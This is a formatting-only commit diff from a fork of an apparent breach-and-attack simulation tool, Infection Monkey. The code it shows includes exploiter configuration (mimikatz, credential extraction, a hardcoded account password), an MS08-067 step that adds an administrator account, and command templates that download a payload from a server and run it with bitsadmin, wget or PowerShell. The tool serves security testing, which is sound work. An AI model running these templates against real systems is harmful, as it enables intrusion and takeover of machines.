forked from p34709852/monkey
Auto reformat all code
This commit is contained in:
parent
d69976f4b5
commit
40494d3c3c
|
@ -114,7 +114,7 @@ class MonkeyDrops(object):
|
||||||
except OSError:
|
except OSError:
|
||||||
LOG.warning("Cannot set reference date to destination file")
|
LOG.warning("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_options =\
|
monkey_options = \
|
||||||
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
||||||
|
|
||||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||||
|
|
|
@ -1,109 +1,109 @@
|
||||||
{
|
{
|
||||||
"should_exploit": true,
|
"should_exploit": true,
|
||||||
"command_servers": [
|
"command_servers": [
|
||||||
"192.0.2.0:5000"
|
"192.0.2.0:5000"
|
||||||
],
|
],
|
||||||
"internet_services": [
|
"internet_services": [
|
||||||
"monkey.guardicore.com",
|
"monkey.guardicore.com",
|
||||||
"www.google.com"
|
"www.google.com"
|
||||||
],
|
],
|
||||||
"keep_tunnel_open_time": 60,
|
"keep_tunnel_open_time": 60,
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
|
|
||||||
],
|
],
|
||||||
"inaccessible_subnets": [],
|
"inaccessible_subnets": [],
|
||||||
"blocked_ips": [],
|
"blocked_ips": [],
|
||||||
"current_server": "192.0.2.0:5000",
|
"current_server": "192.0.2.0:5000",
|
||||||
"alive": true,
|
"alive": true,
|
||||||
"collect_system_info": true,
|
"collect_system_info": true,
|
||||||
"extract_azure_creds": true,
|
"extract_azure_creds": true,
|
||||||
"should_use_mimikatz": true,
|
"should_use_mimikatz": true,
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
|
|
||||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||||
"dropper_date_reference_path_linux": "/bin/sh",
|
"dropper_date_reference_path_linux": "/bin/sh",
|
||||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||||
"dropper_log_path_linux": "/tmp/user-1562",
|
"dropper_log_path_linux": "/tmp/user-1562",
|
||||||
"dropper_set_date": true,
|
"dropper_set_date": true,
|
||||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
|
|
||||||
"monkey_dir_name": "monkey_dir",
|
"monkey_dir_name": "monkey_dir",
|
||||||
|
|
||||||
"kill_file_path_linux": "/var/run/monkey.not",
|
"kill_file_path_linux": "/var/run/monkey.not",
|
||||||
"kill_file_path_windows": "%windir%\\monkey.not",
|
"kill_file_path_windows": "%windir%\\monkey.not",
|
||||||
"dropper_try_move_first": true,
|
"dropper_try_move_first": true,
|
||||||
"exploiter_classes": [
|
"exploiter_classes": [
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"SmbExploiter",
|
"SmbExploiter",
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"VSFTPDExploiter",
|
"VSFTPDExploiter",
|
||||||
"MSSQLExploiter"
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
"PingScanner",
|
"PingScanner",
|
||||||
"HTTPFinger",
|
"HTTPFinger",
|
||||||
"SMBFinger",
|
"SMBFinger",
|
||||||
"MySQLFinger",
|
"MySQLFinger",
|
||||||
"MSSQLFingerprint",
|
"MSSQLFingerprint",
|
||||||
"ElasticFinger"
|
"ElasticFinger"
|
||||||
],
|
],
|
||||||
"max_iterations": 3,
|
"max_iterations": 3,
|
||||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||||
"monkey_log_path_linux": "/tmp/user-1563",
|
"monkey_log_path_linux": "/tmp/user-1563",
|
||||||
"send_log_to_server": true,
|
"send_log_to_server": true,
|
||||||
"ms08_067_exploit_attempts": 5,
|
"ms08_067_exploit_attempts": 5,
|
||||||
"user_to_add": "Monkey_IUSER_SUPPORT",
|
"user_to_add": "Monkey_IUSER_SUPPORT",
|
||||||
"remote_user_pass": "Password1!",
|
"remote_user_pass": "Password1!",
|
||||||
"ping_scan_timeout": 10000,
|
"ping_scan_timeout": 10000,
|
||||||
"smb_download_timeout": 300,
|
"smb_download_timeout": 300,
|
||||||
"smb_service_name": "InfectionMonkey",
|
"smb_service_name": "InfectionMonkey",
|
||||||
"retry_failed_explotation": true,
|
"retry_failed_explotation": true,
|
||||||
"self_delete_in_cleanup": true,
|
"self_delete_in_cleanup": true,
|
||||||
"serialize_config": false,
|
"serialize_config": false,
|
||||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||||
"skip_exploit_if_file_exist": false,
|
"skip_exploit_if_file_exist": false,
|
||||||
"exploit_user_list": [],
|
"exploit_user_list": [],
|
||||||
"exploit_password_list": [],
|
"exploit_password_list": [],
|
||||||
"exploit_lm_hash_list": [],
|
"exploit_lm_hash_list": [],
|
||||||
"exploit_ntlm_hash_list": [],
|
"exploit_ntlm_hash_list": [],
|
||||||
"exploit_ssh_keys": [],
|
"exploit_ssh_keys": [],
|
||||||
"sambacry_trigger_timeout": 5,
|
"sambacry_trigger_timeout": 5,
|
||||||
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"tcp_scan_get_banner": true,
|
"tcp_scan_get_banner": true,
|
||||||
"tcp_scan_interval": 0,
|
"tcp_scan_interval": 0,
|
||||||
"tcp_scan_timeout": 10000,
|
"tcp_scan_timeout": 10000,
|
||||||
"tcp_target_ports": [
|
"tcp_target_ports": [
|
||||||
22,
|
22,
|
||||||
445,
|
445,
|
||||||
135,
|
135,
|
||||||
3389,
|
3389,
|
||||||
80,
|
80,
|
||||||
8080,
|
8080,
|
||||||
443,
|
443,
|
||||||
3306,
|
3306,
|
||||||
8008,
|
8008,
|
||||||
9200,
|
9200,
|
||||||
7001,
|
7001,
|
||||||
8088
|
8088
|
||||||
],
|
],
|
||||||
"timeout_between_iterations": 10,
|
"timeout_between_iterations": 10,
|
||||||
"use_file_logging": true,
|
"use_file_logging": true,
|
||||||
"victims_max_exploit": 15,
|
"victims_max_exploit": 15,
|
||||||
"victims_max_find": 100,
|
"victims_max_find": 100,
|
||||||
"post_breach_actions" : []
|
"post_breach_actions": []
|
||||||
custom_PBA_linux_cmd = ""
|
custom_PBA_linux_cmd = ""
|
||||||
custom_PBA_windows_cmd = ""
|
custom_PBA_windows_cmd = ""
|
||||||
PBA_linux_filename = None
|
PBA_linux_filename = None
|
||||||
PBA_windows_filename = None
|
PBA_windows_filename = None
|
||||||
}
|
}
|
||||||
|
|
|
@ -8,7 +8,7 @@ import json
|
||||||
import logging
|
import logging
|
||||||
import requests
|
import requests
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \
|
||||||
DOWNLOAD_TIMEOUT
|
DOWNLOAD_TIMEOUT
|
||||||
from infection_monkey.network.elasticfinger import ES_PORT
|
from infection_monkey.network.elasticfinger import ES_PORT
|
||||||
from common.data.network_consts import ES_SERVICE
|
from common.data.network_consts import ES_SERVICE
|
||||||
|
@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE):
|
||||||
# Overridden web_rce method that adds CMD prefix for windows command
|
# Overridden web_rce method that adds CMD prefix for windows command
|
||||||
try:
|
try:
|
||||||
if 'windows' in self.host.os['type']:
|
if 'windows' in self.host.os['type']:
|
||||||
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
|
resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
|
||||||
else:
|
else:
|
||||||
resp = self.exploit(url, CHECK_COMMAND)
|
resp = self.exploit(url, CHECK_COMMAND)
|
||||||
if resp is True:
|
if resp is True:
|
||||||
|
|
|
@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class MSSQLExploiter(HostExploiter):
|
class MSSQLExploiter(HostExploiter):
|
||||||
|
|
||||||
_EXPLOITED_SERVICE = 'MSSQL'
|
_EXPLOITED_SERVICE = 'MSSQL'
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
|
@ -143,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
|
|
||||||
def get_monkey_download_command(self):
|
def get_monkey_download_command(self):
|
||||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
|
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \
|
||||||
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
|
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
|
||||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
|
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
|
||||||
|
@ -192,5 +191,5 @@ class MSSQLLimitedSizePayload(LimitedSizePayload):
|
||||||
def __init__(self, command, prefix="", suffix=""):
|
def __init__(self, command, prefix="", suffix=""):
|
||||||
super(MSSQLLimitedSizePayload, self).__init__(command=command,
|
super(MSSQLLimitedSizePayload, self).__init__(command=command,
|
||||||
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
||||||
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
|
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
|
||||||
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
|
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
|
||||||
|
|
|
@ -132,7 +132,7 @@ class ShellShockExploiter(HostExploiter):
|
||||||
self._remove_lock_file(exploit, url, header)
|
self._remove_lock_file(exploit, url, header)
|
||||||
|
|
||||||
if (http_thread.downloads != 1) or (
|
if (http_thread.downloads != 1) or (
|
||||||
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
|
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
|
||||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
|
|
@ -1,5 +1,3 @@
|
||||||
|
|
||||||
|
|
||||||
class ExploitingVulnerableMachineError(Exception):
|
class ExploitingVulnerableMachineError(Exception):
|
||||||
""" Raise when exploiter failed, but machine is vulnerable"""
|
""" Raise when exploiter failed, but machine is vulnerable"""
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -74,7 +74,7 @@ def get_target_monkey(host):
|
||||||
if host.os.get('type') == platform.system().lower():
|
if host.os.get('type') == platform.system().lower():
|
||||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||||
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||||
monkey_path = sys.executable
|
monkey_path = sys.executable
|
||||||
|
|
||||||
return monkey_path
|
return monkey_path
|
||||||
|
|
|
@ -49,7 +49,7 @@ class LimitedSizePayload(Payload):
|
||||||
"exceeds required length of command.")
|
"exceeds required length of command.")
|
||||||
|
|
||||||
elif self.command == "":
|
elif self.command == "":
|
||||||
return [self.prefix+self.suffix]
|
return [self.prefix + self.suffix]
|
||||||
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
|
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
|
||||||
commands = [self.get_payload(part)
|
commands = [self.get_payload(part)
|
||||||
for part
|
for part
|
||||||
|
|
|
@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||||
from infection_monkey.config import Configuration
|
from infection_monkey.config import Configuration
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
|
@ -1,4 +1,3 @@
|
||||||
|
|
||||||
import threading
|
import threading
|
||||||
import logging
|
import logging
|
||||||
import time
|
import time
|
||||||
|
@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
from infection_monkey.network.info import get_free_tcp_port
|
||||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||||
|
|
||||||
|
|
||||||
__author__ = "VakarisZ"
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
@ -34,7 +32,6 @@ HEADERS = {
|
||||||
|
|
||||||
|
|
||||||
class WebLogicExploiter(HostExploiter):
|
class WebLogicExploiter(HostExploiter):
|
||||||
|
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
_EXPLOITED_SERVICE = 'Weblogic'
|
_EXPLOITED_SERVICE = 'Weblogic'
|
||||||
|
|
||||||
|
|
|
@ -162,11 +162,11 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
def is_os_supported(self):
|
def is_os_supported(self):
|
||||||
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
||||||
self.host.os.get('version') in list(self._windows_versions.keys()):
|
self.host.os.get('version') in list(self._windows_versions.keys()):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if not self.host.os.get('type') or (
|
if not self.host.os.get('type') or (
|
||||||
self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
|
self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
|
||||||
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
|
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
|
||||||
if is_smb_open:
|
if is_smb_open:
|
||||||
smb_finger = SMBFinger()
|
smb_finger = SMBFinger()
|
||||||
|
@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
sock.send("cmd /c (net user {} {} /add) &&"
|
sock.send("cmd /c (net user {} {} /add) &&"
|
||||||
" (net localgroup administrators {} /add)\r\n".format(
|
" (net localgroup administrators {} /add)\r\n".format(
|
||||||
self._config.user_to_add,
|
self._config.user_to_add,
|
||||||
self._config.remote_user_pass,
|
self._config.remote_user_pass,
|
||||||
self._config.user_to_add).encode())
|
self._config.user_to_add).encode())
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
reply = sock.recv(1000)
|
reply = sock.recv(1000)
|
||||||
|
|
||||||
|
|
|
@ -122,4 +122,3 @@ class WmiExploiter(HostExploiter):
|
||||||
return success
|
return success
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
|
@ -5,14 +5,14 @@ __author__ = 'itamar'
|
||||||
MONKEY_ARG = "m0nk3y"
|
MONKEY_ARG = "m0nk3y"
|
||||||
DROPPER_ARG = "dr0pp3r"
|
DROPPER_ARG = "dr0pp3r"
|
||||||
ID_STRING = "M0NK3Y3XPL0ITABLE"
|
ID_STRING = "M0NK3Y3XPL0ITABLE"
|
||||||
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
|
||||||
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
|
||||||
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
|
||||||
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
|
||||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
|
||||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
|
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
|
||||||
'/c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
'/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
|
||||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
|
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
|
||||||
'file_path)s exit)) > NUL 2>&1 '
|
'file_path)s exit)) > NUL 2>&1 '
|
||||||
|
|
||||||
|
@ -33,12 +33,12 @@ GET_ARCH_LINUX = "lscpu"
|
||||||
|
|
||||||
# All in one commands (upload, change permissions, run)
|
# All in one commands (upload, change permissions, run)
|
||||||
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
|
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
|
||||||
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
|
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
|
||||||
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
|
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
|
||||||
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
|
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
|
||||||
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
||||||
"&& wget -O %(monkey_path)s %(http_path)s " \
|
"&& wget -O %(monkey_path)s %(http_path)s " \
|
||||||
"; chmod +x %(monkey_path)s " \
|
"; chmod +x %(monkey_path)s " \
|
||||||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 180
|
DOWNLOAD_TIMEOUT = 180
|
||||||
|
|
|
@ -182,7 +182,7 @@ class InfectionMonkey(object):
|
||||||
if self._default_server:
|
if self._default_server:
|
||||||
if self._network.on_island(self._default_server):
|
if self._network.on_island(self._default_server):
|
||||||
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
|
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
|
||||||
(':'+self._default_server_port if self._default_server_port else ''))
|
(':' + self._default_server_port if self._default_server_port else ''))
|
||||||
else:
|
else:
|
||||||
machine.set_default_server(self._default_server)
|
machine.set_default_server(self._default_server)
|
||||||
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
|
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
|
||||||
|
|
|
@ -13,7 +13,6 @@ from requests import ConnectionError
|
||||||
from common.network.network_range import CidrRange
|
from common.network.network_range import CidrRange
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
||||||
|
|
||||||
# Timeout for monkey connections
|
# Timeout for monkey connections
|
||||||
TIMEOUT = 15
|
TIMEOUT = 15
|
||||||
LOOPBACK_NAME = b"lo"
|
LOOPBACK_NAME = b"lo"
|
||||||
|
|
|
@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class MSSQLFinger(HostFinger):
|
class MSSQLFinger(HostFinger):
|
||||||
|
|
||||||
# Class related consts
|
# Class related consts
|
||||||
SQL_BROWSER_DEFAULT_PORT = 1434
|
SQL_BROWSER_DEFAULT_PORT = 1434
|
||||||
BUFFER_SIZE = 4096
|
BUFFER_SIZE = 4096
|
||||||
|
|
|
@ -11,7 +11,6 @@ BANNER_READ = 1024
|
||||||
|
|
||||||
|
|
||||||
class TcpScanner(HostScanner, HostFinger):
|
class TcpScanner(HostScanner, HostFinger):
|
||||||
|
|
||||||
_SCANNED_SERVICE = 'unknown(TCP)'
|
_SCANNED_SERVICE = 'unknown(TCP)'
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
|
|
|
@ -27,6 +27,7 @@ class UsersPBA(PBA):
|
||||||
"""
|
"""
|
||||||
Defines user's configured post breach action.
|
Defines user's configured post breach action.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
|
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
|
||||||
self.filename = ''
|
self.filename = ''
|
||||||
|
|
|
@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
|
||||||
from infection_monkey.config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
|
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
|
||||||
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
__author__ = 'VakarisZ'
|
__author__ = 'VakarisZ'
|
||||||
|
@ -19,6 +18,7 @@ class PBA(object):
|
||||||
"""
|
"""
|
||||||
Post breach action object. Can be extended to support more than command execution on target machine.
|
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
|
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
|
||||||
"""
|
"""
|
||||||
:param name: Name of post breach action.
|
:param name: Name of post breach action.
|
||||||
|
|
|
@ -16,6 +16,7 @@ class PostBreach(object):
|
||||||
"""
|
"""
|
||||||
This class handles post breach actions execution
|
This class handles post breach actions execution
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.os_is_linux = not is_windows_os()
|
self.os_is_linux = not is_windows_os()
|
||||||
self.pba_list = self.config_to_pba_list()
|
self.pba_list = self.config_to_pba_list()
|
||||||
|
|
|
@ -1,7 +1,6 @@
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
|
||||||
super(LinuxInfoCollector, self).get_info()
|
super(LinuxInfoCollector, self).get_info()
|
||||||
self.info['ssh_info'] = SSHCollector.get_info()
|
self.info['ssh_info'] = SSHCollector.get_info()
|
||||||
return self.info
|
return self.info
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||||
|
|
||||||
import infection_monkey.config
|
import infection_monkey.config
|
||||||
|
|
|
@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
|
||||||
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
|
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
|
||||||
"DS_whenChanged", "DS_whenCreated"),
|
"DS_whenChanged", "DS_whenCreated"),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
from infection_monkey.config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
|
@ -1,4 +1,3 @@
|
||||||
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
||||||
|
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
|
@ -41,13 +41,13 @@ class SocketsPipe(Thread):
|
||||||
except:
|
except:
|
||||||
break
|
break
|
||||||
self._keep_connection = True
|
self._keep_connection = True
|
||||||
|
|
||||||
self.source.close()
|
self.source.close()
|
||||||
self.dest.close()
|
self.dest.close()
|
||||||
|
|
||||||
|
|
||||||
class TcpProxy(TransportProxyBase):
|
class TcpProxy(TransportProxyBase):
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
pipes = []
|
pipes = []
|
||||||
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
|
@ -39,7 +39,6 @@ from monkey_island.cc.resources.test.log_test import LogTest
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
|
||||||
HOME_FILE = 'index.html'
|
HOME_FILE = 'index.html'
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -2,7 +2,6 @@ import os
|
||||||
import json
|
import json
|
||||||
import logging.config
|
import logging.config
|
||||||
|
|
||||||
|
|
||||||
__author__ = 'Maor.Rayzin'
|
__author__ = 'Maor.Rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,33 +1,33 @@
|
||||||
{
|
{
|
||||||
"version": 1,
|
"version": 1,
|
||||||
"disable_existing_loggers": false,
|
"disable_existing_loggers": false,
|
||||||
"formatters": {
|
"formatters": {
|
||||||
"simple": {
|
"simple": {
|
||||||
